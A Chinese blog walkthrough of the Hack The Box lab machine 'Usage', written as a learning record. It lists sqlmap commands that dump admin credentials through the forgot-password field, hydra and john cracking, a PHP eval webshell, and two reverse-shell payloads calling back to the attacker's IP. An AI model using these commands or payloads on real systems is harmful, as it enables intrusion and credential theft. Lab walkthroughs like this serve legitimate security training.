可以参考这个Hack The Box - 如何开始。 - Black--Horse - 博客园 (cnblogs.com)
点击machines 选择Usage 点击Edit connection
下载文件.ovpn
把下载的文件复制到kali
然后 sudo openvpn 文件.ovpn
查看 ifconfig 可以看到自己的ip和网站给的ip符合
也可以看到 靶机ip 10.10.11.18
nmap扫描 22、80端口
访问网站看一下
本来我输入的ip 却出现了域名
然后我在/etc/host加了一个ip和域名对应关系
网页是这样的
插件查看服务器版本信息
用的框架是Laravel
现在需要上传shell ,那就需要找到漏洞
点击admin发现
又在/etc/host添加10.10.11.18 admin.usage.htb
访问
这个网页我随便注册了个账户,可以登录
有一些精选博客的内容,说了一些网络渗透之类的
隐藏目录扫描,
dirb http://xxx
看到这么多表单(各种登录、输入框,可能有sql注入)
点击重置密码处 然后抓包
输了个1 ,会提示这个邮箱,在数据库记录里不匹配
可以知道,这个输入框的名称是 email
用sqlmap
sqlmap -u "http://usage.htb/forget-password" --level 5 --risk 3 --data "email=1" --batch
说没有注入
换一个方法
抓包的结果右键保存到文件
sqlmap -r package2 --level 5 --risk 3 -p email --batch
确实有sql注入
列数据库
sqlmap -r package2 --level 5 --risk 3 -p email --dbs --batch
速度有点慢加上 --threads 10
列出 usage_blog数据的表
sqlmap -r package2 --level 5 --risk 3 -p email -D usage_blog --tables --threads 10 --batch
列出表的字段 admin_users
sqlmap -r package2 --level 5 --risk 3 -p email -D usage_blog -T admin_users --columns --threads 10 --batch
如果直接复制语句,可能出现有些选项不是蓝色 ,有些参数不应该是蓝色,可以增加再删除空格
实在是太慢了,就不等它列完
列出username,password的值
sqlmap -r package2 --level 5 --risk 3 -p email --batch -D usage_blog -T admin_users -C username,password --dump --threads 10
hydra 靶机ip ssh -f -L pass.txt -P pass.txt -t 20 用于ssh密码爆破
john pass.txt 暴力破解密码
得到密码 whatever1
登录网页 可以看到具体的版本信息 Laravel version 10.18.0
看一下有无版本漏洞 好像是没有
参考其它博客的 有漏洞CVE-2023-24249 CVE-2023-24249 | flyD
Laravel-Admin是Laravel的管理界面生成器,它可以帮助您只用几行代码即可构建CRUD后端。Laravel-Admin V1.8.19中的任意文件上传漏洞允许攻击者通过精心制作的PHP文件执行任意代码
上传图片,后缀名添加.php ,未上传成功
一句话木马<?php @eval($_POST['123']);?> 但这个要用蚁剑连接
ip是自己kali的ip 因为是反向连接
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.36 7777 >/tmp/f
我用到下面这个
<?php $sock = fsockopen("10.10.14.36", "7777"); $descriptorspec = array( 0 => $sock, 1 => $sock, 2 => $sock ); $process = proc_open('/bin/sh', $descriptorspec, $pipes); proc_close($process);?>
开启抓包 但是我的抓包后发送,网页是419,总之就是头像上传不成功,上传不了shell
后面的内容也没法做了
参考: